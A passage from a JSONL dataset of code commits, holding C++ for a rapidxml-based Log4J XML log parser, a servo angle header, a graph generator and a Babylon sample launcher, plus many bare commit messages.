}\n\n            source->remove_all_nodes ();\n            source->value (buffer, bufferLength);\n\n            *value = buffer;\n            *size = bufferLength;\n        }\n    }\n    else\n    {\n        *value = nullptr;\n        *size = 0U;\n    }\n}\n\nint64_t ParseTimestamp_ (const char *value, const size_t valueSize)\n{\n    int64_t result = 0L;\n\n    for (size_t i = 0; i < valueSize; ++i)\n    {\n        int64_t digit = value[i] - '0';\n        result = result * 10L + digit;\n    }\n\n    return result;\n}\n\nstruct Log4JEventSource_\n{\n    std::vector<const rapidxml::xml_document<char> *> *Docs;\n    char *OwnXmlString;\n};\n\nstatic Log4JStatus Log4JEventSourceInitXmlStringImpl (Log4JEventSource **self, char *xmlString, bool ownString)\n{\n    *self = nullptr;\n    auto ownedStringPtr = ownString ? xmlString : nullptr;\n\n    auto status = Log4JStatus::E_SUCCESS;\n\n    auto nextPart = xmlString;\n    auto docs = new std::vector<const rapidxml::xml_document<char> *> ();\n    while (nextPart)\n    {\n        auto doc = new rapidxml::xml_document<char> ();\n        docs->push_back (doc);\n        try\n        {\n            doc->parse<rapidxml::parse_default> (nextPart);\n            nextPart = nullptr;\n        }\n        catch (const rapidxml::parse_error &ex)\n        {\n            status = Log4JStatus::E_DOCUMENT_ERRORS;\n            nextPart = strstr (ex.where<char> (), LogFragmentStart_);\n        }\n        catch (...)\n        {\n            for (auto docsIter = docs->begin (); docsIter != docs->end (); ++docsIter)\n            {\n                delete *docsIter;\n            }\n            throw;\n        }\n    }\n\n    Log4JEventSource *result = (Log4JEventSource *) malloc (sizeof *result);\n    if (result == nullptr)\n    {\n        for (auto docsIter = docs->begin (); docsIter != docs->end (); ++docsIter)\n        {\n            delete *docsIter;\n        }\n        *self = nullptr;\n        return Log4JStatus::E_MEMORY_ERROR;\n    }\n    *result = { docs, ownedStringPtr };\n\n    *self = result;\n\n    return status;\n}\n\nLOG4JPARSERC_API Log4JStatus __cdecl Log4JEventSourceInitXmlString (Log4JEventSource **self, char *xmlString)\n{\n    return Log4JEventSourceInitXmlStringImpl (self, xmlString, false);\n}\n\nLOG4JPARSERC_API void __cdecl Log4JEventSourceDestroy (Log4JEventSource *self)\n{\n    auto docs = self->Docs;\n    for (auto docsIter = docs->begin (); docsIter != docs->end (); ++docsIter)\n    {\n        delete *docsIter;\n    }\n    docs->clear ();\n    delete docs;\n\n    if (self->OwnXmlString)\n    {\n        free (self->OwnXmlString);\n    }\n\n    *self = { nullptr, nullptr };\n    free (self);\n}\n\nstatic size_t IndexOfCurrentDocument (const std::vector<const rapidxml::xml_document<char> *> *docs, const rapidxml::xml_node<char> *node)\n{\n    auto currentDocument = node->document ();\n    auto docsSize = docs->size ();\n    for (size_t i = 0; i < docsSize; ++i)\n    {\n        if (docs->at (i) == currentDocument)\n        {\n            return i;\n        }\n    }\n\n    return docsSize;\n}\n\nLOG4JPARSERC_API Log4JEvent __cdecl Log4JEventSourceFirst (const Log4JEventSource *self)\n{\n    auto node = self->Docs->front ()->first_node (TagEvent_, TagEventSize_);\n    return node;\n}\n\nLOG4JPARSERC_API Log4JEvent __cdecl Log4JEventSourceNext (const Log4JEventSource *self, const Log4JEvent event)\n{\n    auto docs = self->Docs;\n    auto node = (rapidxml::xml_node<char> *) event;\n\n    auto nextNode = node->next_sibling (TagEvent_, TagEventSize_);\n    if (!nextNode)\n    {\n        auto currentDocumentIndex = IndexOfCurrentDocument (self->Docs, node);\n        auto nextDocumentIndex = currentDocumentIndex + 1;\n        if (nextDocumentIndex < docs->size ())\n        {\n            nextNode = docs->at (nextDocumentIndex)->first_node (TagEvent_, TagEventSize_);\n        }\n    }\n\n    return nextNode;\n}\n\nLOG4JPARSERC_API Log4JEvent __cdecl Log4JEventSourceLast (const Log4JEventSource *self)\n{\n    auto node = self->Docs->back ()->last_node (TagEvent_, TagEventSize_);\n    return node;\n}\n\nLOG4JPARSERC_API Log4JEvent __cdecl Log4JEventSourcePrev (const Log4JEventSource *self, const Log4JEvent event)\n{\n    auto docs = self->Docs;\n    auto node = (rapidxml::xml_node<char> *) event;\n\n    auto prevNode = node->previous_sibling (TagEvent_, TagEventSize_);\n    if (!prevNode)\n    {\n        auto currentDocumentIndex = IndexOfCurrentDocument (self->Docs, node);\n        auto prevDocumentIndex = currentDocumentIndex - 1;\n        \/\/ if currentDocumentIndex == 0 then prevDocumentIndex would overflow to SIZE_MAX\n        if (prevDocumentIndex < docs->size ())\n        {\n            prevNode = docs->at (prevDocumentIndex)->first_node (TagEvent_, TagEventSize_);\n        }\n    }\n\n    return prevNode;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>getBaseParameter() in BotView::getDeskSize_impl()<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>enhance readability<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>New genesis block<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Update chainparams.cpp<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>build: fix newer boost build with c++11<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Add debugging to CheckHardened<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"array.hpp\"\n\/\/\n\/\/\n\/\/\nbool array::is_positive()\n{\n    if(is_1d_array)\n    {\n        return gsl_vector_ispos(user_1d_array);\n    }\n    else if(is_2d_array)\n    {\n        return gsl_matrix_ispos(user_2d_array);\n    }\n}\n<commit_msg>Delete array__is_positive.cpp<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Enable some code that compiles fine on linux now.  This code talks about the next merge and was written in September.<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>WAL: Logs tweaked<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Cleanup the design of small tables<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>fix windows build errors<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Fix (worrying) MSVC warning<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>removed redundant workaround for https:\/\/bugreports.qt.io\/browse\/QTBUG-6504 in debug-mode<commit_after><|endoftext|>"}
{"text":"<commit_before>#ifndef LIBICS3_ICS3_ANGLE_H_\n#define LIBICS3_ICS3_ANGLE_H_\n\n#include\"ics3\/check_invalid.hpp\"\n\nnamespace ics {\n  class ICS3;\n  class Angle {\n    friend ICS3; \/\/ for touch setRaw\n  public:\n    using rawType = uint16_t;\n    using type = double;\n    static constexpr Angle newDegree(type = 0.0);\n    static constexpr Angle newRadian(type = 0.0);\n    static constexpr Angle newSameUnit(const Angle&, type = 0.0);\n    static constexpr Angle newCalibration(type, type = 0.0);\n    static constexpr rawType MIN {3500};\n    static constexpr rawType MID {7500};\n    static constexpr rawType MAX {11500};\n    static constexpr type PI {3.141592653589793};\n\n    Angle(const Angle&) noexcept = default;\n    Angle& operator=(const Angle&) noexcept;\n    constexpr type get() const noexcept;\n    constexpr operator type() const noexcept;\n    void set(type);\n    Angle& operator=(type);\n    constexpr rawType getRaw() const noexcept;\n    void setRaw(rawType);\n  private:\n    constexpr Angle(type, type); \/\/ non explicit, user cannot touch this\n    static constexpr rawType castToRaw(type, type) noexcept;\n    static constexpr rawType checkInvalidAngle(rawType);\n\n    rawType rawData;\n    const type rawCalibration;\n  };\n\n  constexpr Angle Angle::newDegree(type angle) {\n    return Angle {800.0 \/ 27.0, angle};\n  }\n\n  constexpr Angle Angle::newRadian(type angle) {\n    return Angle {16000.0 \/ 3.0 \/ PI, angle};\n  }\n\n  constexpr Angle Angle::newSameUnit(const Angle& unit, type angle) {\n    return Angle {unit.rawCalibration, angle};\n  }\n\n  constexpr Angle Angle::newCalibration(type calibration, type angle) {\n    return Angle {calibration, angle};\n  }\n\n  inline Angle& Angle::operator=(const Angle& rhs) noexcept {\n    rawData = rhs.rawData;\n    return *this;\n  }\n\n  constexpr Angle::type Angle::get() const noexcept {\n    return (rawData - MID) \/ rawCalibration;\n  }\n\n  constexpr Angle::operator type() const noexcept {\n    return get();\n  }\n\n  inline void Angle::set(type angle) {\n    setRaw(castToRaw(rawCalibration, angle)); \/\/ throw std::out_of_range\n  }\n\n  inline Angle& Angle::operator=(type angle) {\n    set(angle);\n    return *this;\n  }\n\n  constexpr Angle::rawType Angle::getRaw() const noexcept {\n    return rawData;\n  }\n\n  inline void Angle::setRaw(rawType raw) {\n    rawData = checkInvalidAngle(raw); \/\/ throw std::out_of_range\n  }\n\n  constexpr Angle::Angle(type calibration, type angle)\n  : rawData {checkInvalidAngle(castToRaw(calibration, angle))}, \/\/ throw std::out_of_range\n    rawCalibration {calibration}\n  {}\n\n  constexpr Angle::rawType Angle::castToRaw(type calibration, type angle) noexcept {\n    return (calibration * angle) + MID;\n  }\n\n  constexpr Angle::rawType Angle::checkInvalidAngle(rawType raw) {\n    return checkInvalidRange(raw, MIN, MAX);\n  }\n}\n\n#endif \/\/ LIBICS3_ICS3_ANGLE_H_\n<commit_msg>Update factory method with no explicit constructor<commit_after>#ifndef LIBICS3_ICS3_ANGLE_H_\n#define LIBICS3_ICS3_ANGLE_H_\n\n#include\"ics3\/check_invalid.hpp\"\n\nnamespace ics {\n  class ICS3;\n  class Angle {\n    friend ICS3; \/\/ for touch setRaw\n  public:\n    using rawType = uint16_t;\n    using type = double;\n    static constexpr Angle newDegree(type = 0.0);\n    static constexpr Angle newRadian(type = 0.0);\n    static constexpr Angle newSameUnit(const Angle&, type = 0.0);\n    static constexpr Angle newCalibration(type, type = 0.0);\n    static constexpr rawType MIN {3500};\n    static constexpr rawType MID {7500};\n    static constexpr rawType MAX {11500};\n    static constexpr type PI {3.141592653589793};\n\n    Angle(const Angle&) noexcept = default;\n    Angle& operator=(const Angle&) noexcept;\n    constexpr type get() const noexcept;\n    constexpr operator type() const noexcept;\n    void set(type);\n    Angle& operator=(type);\n    constexpr rawType getRaw() const noexcept;\n    void setRaw(rawType);\n  private:\n    constexpr Angle(type, type); \/\/ non explicit, user cannot touch this\n    static constexpr rawType castToRaw(type, type) noexcept;\n    static constexpr rawType checkInvalidAngle(rawType);\n\n    rawType rawData;\n    const type rawCalibration;\n  };\n\n  constexpr Angle Angle::newDegree(type angle) {\n    return {800.0 \/ 27.0, angle};\n  }\n\n  constexpr Angle Angle::newRadian(type angle) {\n    return {16000.0 \/ 3.0 \/ PI, angle};\n  }\n\n  constexpr Angle Angle::newSameUnit(const Angle& unit, type angle) {\n    return {unit.rawCalibration, angle};\n  }\n\n  constexpr Angle Angle::newCalibration(type calibration, type angle) {\n    return {calibration, angle};\n  }\n\n  inline Angle& Angle::operator=(const Angle& rhs) noexcept {\n    rawData = rhs.rawData;\n    return *this;\n  }\n\n  constexpr Angle::type Angle::get() const noexcept {\n    return (rawData - MID) \/ rawCalibration;\n  }\n\n  constexpr Angle::operator type() const noexcept {\n    return get();\n  }\n\n  inline void Angle::set(type angle) {\n    setRaw(castToRaw(rawCalibration, angle)); \/\/ throw std::out_of_range\n  }\n\n  inline Angle& Angle::operator=(type angle) {\n    set(angle);\n    return *this;\n  }\n\n  constexpr Angle::rawType Angle::getRaw() const noexcept {\n    return rawData;\n  }\n\n  inline void Angle::setRaw(rawType raw) {\n    rawData = checkInvalidAngle(raw); \/\/ throw std::out_of_range\n  }\n\n  constexpr Angle::Angle(type calibration, type angle)\n  : rawData {checkInvalidAngle(castToRaw(calibration, angle))}, \/\/ throw std::out_of_range\n    rawCalibration {calibration}\n  {}\n\n  constexpr Angle::rawType Angle::castToRaw(type calibration, type angle) noexcept {\n    return (calibration * angle) + MID;\n  }\n\n  constexpr Angle::rawType Angle::checkInvalidAngle(rawType raw) {\n    return checkInvalidRange(raw, MIN, MAX);\n  }\n}\n\n#endif \/\/ LIBICS3_ICS3_ANGLE_H_\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Generator.cpp\n *\n *  Created on: 05.12.2012\n *      Author: cls\n *\/\n\n#include \"GraphGenerator.h\"\n\nnamespace EnsembleClustering {\n\nGraphGenerator::GraphGenerator() {\n\t\/\/ TODO Auto-generated constructor stub\n\n}\n\nGraphGenerator::~GraphGenerator() {\n\t\/\/ TODO Auto-generated destructor stub\n}\n\n\n\/\/ TODO: parallel? is insertEdge thread safe?\n\n\nGraph GraphGenerator::makeErdosRenyiGraph(count n, double p) {\n\tAux::RandomProbability randP;\n\tGraph G(n);\n\tG.forNodePairs([&](node u, node v){\n\t\tif (randP.generate() <= p) {\n\t\t\tG.insertEdge(u, v);\n\t\t}\n\t});\n\n\treturn G;\n}\n\nGraph GraphGenerator::makeRandomGraph(count n, double p) {\n\treturn this->makeErdosRenyiGraph(n, p);\t\/\/ alias\n}\n\nGraph GraphGenerator::makeCircularGraph(count n) {\n\t\/\/ TODO: modernize\n\tGraph G(n);\n\tG.forNodes([&](node u){\n\t\tG.insertEdge(u, (u + 1) % n);\n\t});\n\treturn G;\n}\n\nGraph GraphGenerator::makeCompleteGraph(count n) {\n\t\/\/ TODO: modernize\n\tAux::RandomProbability randP;\n\tGraph G(n);\n\tG.forNodePairs([&](node u, node v){\n\t\tG.insertEdge(u, v);\n\t});\n\treturn G;\n}\n\n\n\nGraph GraphGenerator::makeClusteredRandomGraph(count n, count k, double pin, double pout) {\n\tassert(pin >= pout);\n\n\tGraph G(n);\n\tAux::RandomProbability randP;\n\tAux::RandomInteger randInt(1, k);\n\t\/\/ assign nodes evenly to clusters\n\tClustering zeta(n);\n\tG.forNodes([&](node v){\n\t\tcluster c = randInt.generate();\n\t\tzeta.addToCluster(c, v);\n\t});\n\n\/\/\tassert (zeta.numberOfClusters() == k);\n\n\tG.forNodePairs([&](node u, node v){\n\t\tif (zeta.clusterOf(u) == zeta.clusterOf(v)) {\n\t\t\tif (randP.generate() <= pin) {\n\t\t\t\tG.insertEdge(u, v);\n\t\t\t}\n\t\t} else {\n\t\t\tif (randP.generate() <= pout) {\n\t\t\t\tG.insertEdge(u, v);\n\t\t\t}\n\t\t}\n\t});\n\n\treturn G;\n}\n\nstd::pair<Graph, Clustering> GraphGenerator::makeClusteredRandomGraphWithReferenceClustering(\n\t\tcount n, count k, double pin, double pout) {\n\tassert(pin >= pout);\n\n\tGraph G(n);\n\tAux::RandomProbability randP;\n\tAux::RandomInteger randInt(1, k);\n\t\/\/ assign nodes evenly to clusters\n\tClustering zeta(n);\n\tG.forNodes([&](node v){\n\t\tcluster c = randInt.generate();\n\t\tzeta.addToCluster(c, v);\n\t});\n\n\/\/\tassert (zeta.numberOfClusters() == k);\n\n\tG.forNodePairs([&](node u, node v){\n\t\tif (zeta.clusterOf(u) == zeta.clusterOf(v)) {\n\t\t\tif (randP.generate() <= pin) {\n\t\t\t\tG.insertEdge(u, v);\n\t\t\t}\n\t\t} else {\n\t\t\tif (randP.generate() <= pout) {\n\t\t\t\tG.insertEdge(u, v);\n\t\t\t}\n\t\t}\n\t});\n\n\treturn std::make_pair(G, zeta);\n}\n\nGraph GraphGenerator::makeClusteredRandomGraph(Clustering& zeta, double pin,\n\t\tdouble pout) {\n\tassert (pin >= pout);\n\n\tcount n = zeta.numberOfNodes();\n\tGraph G(n);\n\n\tAux::RandomProbability randP;\n\tG.forNodePairs([&](node u, node v){\n\t\tif (zeta.inSameCluster(u, v)) {\n\t\t\tif (randP.generate() <= pin) {\n\t\t\t\tG.insertEdge(u, v);\n\t\t\t}\n\t\t} else {\n\t\t\tif (randP.generate() <= pout) {\n\t\t\t\tG.insertEdge(u, v);\n\t\t\t}\n\t\t}\n\t});\n\n\treturn G;\n}\n\nGraph GraphGenerator::makePreferentialAttachmentGraph(count n, count a) {\n\t\/\/ FIXME: infinite loop\n\n\tGraph G(n);\n\n\t\/\/ all nodes need to have at least degree 1 - create a path\n\tfor (node v = 0; v < (n-1); ++v) {\n\t\tG.insertEdge(v, (v + 1));\n\t}\n\n\tcount m = G.numberOfEdges(); \/\/ number of edges\n\tcount r = 0;\n\n\tG.forNodes([&](node u) {\n\t\tTRACE(\"connecting node \" << u);\n\t\tfor (count i = 0; i < a; ++i) { \/\/ for all k new edges\n\t\t\tTRACE(\"2m = \" << 2 * m);\n\t\t\tAux::RandomInteger randInt(0, 2*m);\t\/\/ TODO: n * k instantiations of RandomInteger are inefficient because random device reads from \/dev\/random\n\t\t\tr = randInt.generate();\n\t\t\tTRACE(\"r = \" << r);\n\t\t\tfor (node v = 0; v < n; ++v) {\n\t\t\t\tif (r <= G.degree(v)) {\n\t\t\t\t\t\/\/ select v\n\t\t\t\t\tG.insertEdge(u, v);\n\t\t\t\t\tTRACE(\"inserting edge (\" << u << \",\" << v << \")\");\n\t\t\t\t\tm += 1;\n\t\t\t\t\tr = 0;\n\t\t\t\t\tbreak;\n\t\t\t\t} else {\n\t\t\t\t\tTRACE(\"skipping node \" << v);\n\t\t\t\t}\n\t\t\t\tr -= G.degree(v);\n\t\t\t}\n\t\t}\n\t});\n\n\n\treturn G;\n}\n\n} \/* namespace EnsembleClustering *\/\n<commit_msg>resolved minor merge conflict<commit_after>\/*\n * Generator.cpp\n *\n *  Created on: 05.12.2012\n *      Author: cls\n *\/\n\n#include \"GraphGenerator.h\"\n\nnamespace EnsembleClustering {\n\nGraphGenerator::GraphGenerator() {\n\t\/\/ TODO Auto-generated constructor stub\n\n}\n\nGraphGenerator::~GraphGenerator() {\n\t\/\/ TODO Auto-generated destructor stub\n}\n\n\n\/\/ TODO: parallel? is insertEdge thread safe?\n\n\nGraph GraphGenerator::makeErdosRenyiGraph(count n, double p) {\n\tAux::RandomProbability randP;\n\tGraph G(n);\n\tG.forNodePairs([&](node u, node v){\n\t\tif (randP.generate() <= p) {\n\t\t\tG.insertEdge(u, v);\n\t\t}\n\t});\n\n\treturn G;\n}\n\nGraph GraphGenerator::makeRandomGraph(count n, double p) {\n\treturn this->makeErdosRenyiGraph(n, p);\t\/\/ alias\n}\n\nGraph GraphGenerator::makeCircularGraph(count n) {\n\t\/\/ TODO: modernize\n\tGraph G(n);\n\tG.forNodes([&](node u){\n\t\tG.insertEdge(u, (u + 1) % n);\n\t});\n\treturn G;\n}\n\nGraph GraphGenerator::makeCompleteGraph(count n) {\n\t\/\/ TODO: modernize\n\tAux::RandomProbability randP;\n\tGraph G(n);\n\tG.forNodePairs([&](node u, node v){\n\t\tG.insertEdge(u, v);\n\t});\n\treturn G;\n}\n\n\n\nGraph GraphGenerator::makeClusteredRandomGraph(count n, count k, double pin, double pout) {\n\tassert(pin >= pout);\n\n\tGraph G(n);\n\tAux::RandomProbability randP;\n\tAux::RandomInteger randInt(1, k);\n\t\/\/ assign nodes evenly to clusters\n\tClustering zeta(n);\n\tG.forNodes([&](node v){\n\t\tcluster c = randInt.generate();\n\t\tzeta.addToCluster(c, v);\n\t});\n\n\/\/\tassert (zeta.numberOfClusters() == k);\n\n\tG.forNodePairs([&](node u, node v){\n\t\tif (zeta.clusterOf(u) == zeta.clusterOf(v)) {\n\t\t\tif (randP.generate() <= pin) {\n\t\t\t\tG.insertEdge(u, v);\n\t\t\t}\n\t\t} else {\n\t\t\tif (randP.generate() <= pout) {\n\t\t\t\tG.insertEdge(u, v);\n\t\t\t}\n\t\t}\n\t});\n\n\treturn G;\n}\n\nstd::pair<Graph, Clustering> GraphGenerator::makeClusteredRandomGraphWithReferenceClustering(\n\t\tcount n, count k, double pin, double pout) {\n\tassert(pin >= pout);\n\n\tGraph G(n);\n\tAux::RandomProbability randP;\n\tAux::RandomInteger randInt(1, k);\n\t\/\/ assign nodes evenly to clusters\n\tClustering zeta(n);\n\tG.forNodes([&](node v){\n\t\tcluster c = randInt.generate();\n\t\tzeta.addToCluster(c, v);\n\t});\n\n\tG.forNodePairs([&](node u, node v){\n\t\tif (zeta.clusterOf(u) == zeta.clusterOf(v)) {\n\t\t\tif (randP.generate() <= pin) {\n\t\t\t\tG.insertEdge(u, v);\n\t\t\t}\n\t\t} else {\n\t\t\tif (randP.generate() <= pout) {\n\t\t\t\tG.insertEdge(u, v);\n\t\t\t}\n\t\t}\n\t});\n\n\treturn std::make_pair(G, zeta);\n}\n\nGraph GraphGenerator::makeClusteredRandomGraph(Clustering& zeta, double pin,\n\t\tdouble pout) {\n\tassert (pin >= pout);\n\n\tcount n = zeta.numberOfNodes();\n\tGraph G(n);\n\n\tAux::RandomProbability randP;\n\tG.forNodePairs([&](node u, node v){\n\t\tif (zeta.inSameCluster(u, v)) {\n\t\t\tif (randP.generate() <= pin) {\n\t\t\t\tG.insertEdge(u, v);\n\t\t\t}\n\t\t} else {\n\t\t\tif (randP.generate() <= pout) {\n\t\t\t\tG.insertEdge(u, v);\n\t\t\t}\n\t\t}\n\t});\n\n\treturn G;\n}\n\nGraph GraphGenerator::makePreferentialAttachmentGraph(count n, count a) {\n\t\/\/ FIXME: infinite loop\n\n\tGraph G(n);\n\n\t\/\/ all nodes need to have at least degree 1 - create a path\n\tfor (node v = 0; v < (n-1); ++v) {\n\t\tG.insertEdge(v, (v + 1));\n\t}\n\n\tcount m = G.numberOfEdges(); \/\/ number of edges\n\tcount r = 0;\n\n\tG.forNodes([&](node u) {\n\t\tTRACE(\"connecting node \" << u);\n\t\tfor (count i = 0; i < a; ++i) { \/\/ for all k new edges\n\t\t\tTRACE(\"2m = \" << 2 * m);\n\t\t\tAux::RandomInteger randInt(0, 2*m);\t\/\/ TODO: n * k instantiations of RandomInteger are inefficient because random device reads from \/dev\/random\n\t\t\tr = randInt.generate();\n\t\t\tTRACE(\"r = \" << r);\n\t\t\tfor (node v = 0; v < n; ++v) {\n\t\t\t\tif (r <= G.degree(v)) {\n\t\t\t\t\t\/\/ select v\n\t\t\t\t\tG.insertEdge(u, v);\n\t\t\t\t\tTRACE(\"inserting edge (\" << u << \",\" << v << \")\");\n\t\t\t\t\tm += 1;\n\t\t\t\t\tr = 0;\n\t\t\t\t\tbreak;\n\t\t\t\t} else {\n\t\t\t\t\tTRACE(\"skipping node \" << v);\n\t\t\t\t}\n\t\t\t\tr -= G.degree(v);\n\t\t\t}\n\t\t}\n\t});\n\n\n\treturn G;\n}\n\n} \/* namespace EnsembleClustering *\/\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Change usage of assert() in main Run loop<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Removed unnecessary commented code.<commit_after><|endoftext|>"}
{"text":"<commit_before>#include <argtable3\/argtable3.h>\n\n#include <sstream>\n#include <utility>\n#include <babylon\/babylon_version.h>\n#include <babylon\/core\/delegates\/delegate.h>\n#include <babylon\/core\/logging.h>\n#include <babylon\/core\/string.h>\n#include <babylon\/samples\/sample_launcher.h>\n#include <babylon\/samples\/samples_index.h>\n#ifdef WITH_INSPECTOR\n#include <babylon\/inspector\/inspector.h>\n#endif\n\n#if _MSC_VER\n#include <windows.h>\n#include <direct.h>\n#include <filesystem>\n#endif\n\nstruct ConsoleLogger {\n\n  using log_message_t = SA::delegate<void(const BABYLON::LogMessage&)>;\n\n  static void onLogMessage(const BABYLON::LogMessage& logMessage)\n  {\n    printf(\"%s\\n\", logMessage.toString().c_str());\n#if _MSC_VER\n    OutputDebugString(logMessage.toString().c_str());\n#endif\n  }\n\n  static log_message_t logListenerDelegate;\n\n}; \/\/ end of struct ConsoleLogger\n\nConsoleLogger::log_message_t ConsoleLogger::logListenerDelegate\n  = SA::delegate<void(\n    const BABYLON::LogMessage&)>::create<&ConsoleLogger::onLogMessage>();\n\n\/**\n * @brief Initializes the logging.\n *\/\nvoid initializeLogging()\n{\n  static_assert(\n    std::is_same<SA::delegate<void(const BABYLON::LogMessage&)>,\n                 decltype(ConsoleLogger::logListenerDelegate)>::value,\n    \"!\");\n  \/\/ Intialize log levels\n  std::vector<std::pair<unsigned int, std::string>> _logLevels;\n  for (auto& logLevel : BABYLON::LogLevels::Levels) {\n    unsigned int logType = logLevel.first;\n    if ((logType != BABYLON::LogLevels::LEVEL_QUIET)\n        && (logType != BABYLON::LogLevels::LEVEL_TRACE)) {\n      _logLevels.emplace_back(logLevel);\n    }\n  }\n  \/\/ Subscribe to channels\n  for (auto& logLevel : _logLevels) {\n    unsigned int logType = logLevel.first;\n    if (logType != BABYLON::LogLevels::LEVEL_QUIET) {\n      BABYLON::Logger::Instance().registerLogMessageListener(\n        logType, ConsoleLogger::logListenerDelegate);\n    }\n  }\n}\n\n\/\/ a simple \"Consumable value\", i.e a value that is reset when it is consumed\ntemplate<typename T>\nclass ConsumableValue\n{\npublic:\n  ConsumableValue(std::optional<T> v = std::nullopt) : _value(v) {};\n  bool hasValue() { return _value.has_value(); }\n  void setValue(T value) { _value = value; }\n  T consumeValue() { return std::exchange(_value, std::nullopt).value(); } \/\/ will throw if empty!\nprivate:\n   std::optional<T> _value;\n};\n\n\/**\n * @brief Runs a sample with the specified name\n * @param samples list with available samples\n * @param sampleName name of the sample to run\n * @param showInspectorWindow whether or not to shoz the inspector window\n * @return exit code\n *\/\nint runSample(const BABYLON::Samples::SamplesIndex& samples,\n              const std::string& startSampleName, bool showInspectorWindow,\n              long runTimeMillis = 0)\n{\n  \/\/ The inspector enables to switch to another sample via\n  \/\/ the callback BABYLON::Inspector::OnSampleChanged\n  \/\/ which will the content of \"nextSample\"\n  ConsumableValue<std::string> nextSample(startSampleName);\n  #ifdef WITH_INSPECTOR\n  BABYLON::Inspector::OnSampleChanged = [&nextSample](const std::string & s) {\n    nextSample.setValue(s);\n  };\n  #endif\n\n  int exitcode = 0;\n  \/\/ Create the sample launcher\n  BABYLON::Samples::SampleLauncherOptions options;\n  options.showInspectorWindow = showInspectorWindow;\n\n\n  while (nextSample.hasValue())\n  {\n    std::string sampleName = nextSample.consumeValue();\n    BABYLON::Samples::SampleLauncher sampleLauncher{options};\n    if (sampleLauncher.intialize()) {\n      \/\/ Create the renderable scene\n      auto canvas = sampleLauncher.getRenderCanvas();\n      auto scene  = samples.createRenderableScene(sampleName, canvas);\n      sampleLauncher.setRenderableScene(scene);\n      \/\/ Run the example: it will stop when a new sample was selected via the inspector\n      exitcode = sampleLauncher.run([&nextSample]() { return nextSample.hasValue(); }, runTimeMillis);\n    }\n  }\n  return exitcode;\n}\n\n\/**\n * @brief The sample launcher.\n * @param l list samples if l > 0\n * @param v enable verbose mode if v > 0\n * @param sample name of the sample to run\n * @return exit code\n *\/\nint sampleLauncherMain(int l, int v, int i, const char* sampleGroup,\n                       const char* sample)\n{\n  using namespace BABYLON::Samples;\n  SamplesIndex samples;\n  int exitcode = 0;\n  if (l > 0) {\n    std::ostringstream oss;\n    \/\/ Get sample names and category names\n    auto sampleNames   = samples.getSampleNames();\n    auto categoryNames = samples.getCategoryNames();\n    oss << \"Found \" << sampleNames.size() << \" in \" << categoryNames.size()\n        << \" categories:\\n\";\n    \/\/ Print categorized samples\n    for (const auto& categoryName : categoryNames) {\n      sampleNames = samples.getSampleNamesInCategory(categoryName);\n      oss << \"       |- \";\n      if (sampleNames.size() < 10) {\n        oss << \" \" << sampleNames.size();\n      }\n      else if (sampleNames.size() < 100) {\n        oss << sampleNames.size();\n      }\n      oss << \" sample(s) in category \\\"\" << categoryName.c_str() << \"\\\"\\n\";\n      for (const auto& sampleName : sampleNames) {\n        oss << \"           |- \" << sampleName.c_str() << \"\\n\";\n      }\n    }\n    printf(\"%s\", oss.str().c_str());\n  }\n  else {\n    if (v > 0) {\n      \/\/ Enable console logging\n      initializeLogging();\n    }\n    \/\/ Check for rendering of sample group\n    const std::string categoryName{sampleGroup};\n    if (!categoryName.empty()\n        && (samples.categoryExists(categoryName) || categoryName == \"All\")) {\n      std::vector<std::string> categoryNames;\n      if (categoryName == \"All\") {\n        categoryNames = samples.getCategoryNames();\n      }\n      else {\n        categoryNames = {categoryName};\n      }\n      for (const auto& _categoryName : categoryNames) {\n        const auto sampleNames\n          = samples.getSampleNamesInCategory(_categoryName);\n        for (const auto& sampleName : sampleNames) {\n          exitcode = runSample(samples, sampleName, i > 0, 10000);\n          if (exitcode == 0) {\n            break;\n          }\n        }\n      }\n    }\n    else {\n      \/\/ Check for rendering of sample\n      const std::string sampleName{sample};\n      if (!samples.sampleExists(sampleName)) {\n        printf(\"Sample with name \\\"%s\\\" does not exists.\\n\", sample);\n        return 1;\n      }\n      if (!samples.isSampleEnabled(sampleName)) {\n        printf(\"Sample with name \\\"%s\\\" is not enabled.\\n\", sample);\n        return 1;\n      }\n      \/\/ Run the sample\n      exitcode = runSample(samples, sampleName, i > 0);\n    }\n  }\n  return exitcode;\n}\n\n#ifdef _MSC_VER\nvoid ChdirToExePath(char *argv0)\n{\n  std::filesystem::path exeFolder = std::filesystem::weakly_canonical(std::filesystem::path(argv0)).parent_path();\n#ifdef _WIN32\n  _chdir(exeFolder.string().c_str());\n#else\n  chdir(exeFolder.string().c_str());\n#endif\n}\n#endif \/\/ _MSC_VER\n\nint main(int argc, char** argv)\n{\n#ifdef _MSC_VER\n  ChdirToExePath(argv[0]);\n#endif\n  \/** Program arguments definition **\/\n  struct arg_lit* list   = arg_lit0(\"lL\", NULL, \"list samples\");\n  struct arg_str* sample = arg_str0(\n    \"S\", \"sample\", \"<SAMPE>\", \"sample to launch (default is \\\"BasicScene\\\")\");\n  struct arg_str* sampleGroup = arg_str0(\n    \"G\", \"sample-group\", \"<SAMPE-GROUP>\",\n    \"sample group to launch (sample-group \\\"All\\\" contains all samples)\");\n  struct arg_lit* verbose = arg_lit0(\"v\", \"verbose,debug\", \"verbose messages\");\n  struct arg_lit* inspector\n    = arg_lit0(\"i\", \"inspector\", \"show inspector window\");\n  struct arg_lit* help = arg_lit0(NULL, \"help\", \"print this help and exit\");\n  struct arg_lit* version\n    = arg_lit0(NULL, \"version\", \"print version information and exit\");\n  struct arg_end* end = arg_end(20);\n  void* argtable[]\n    = {list, sample, sampleGroup, verbose, inspector, help, version, end};\n  const char* progname = \"SampleLauncher\";\n  int nerrors;\n  int exitcode = 0;\n\n  \/** Verify the 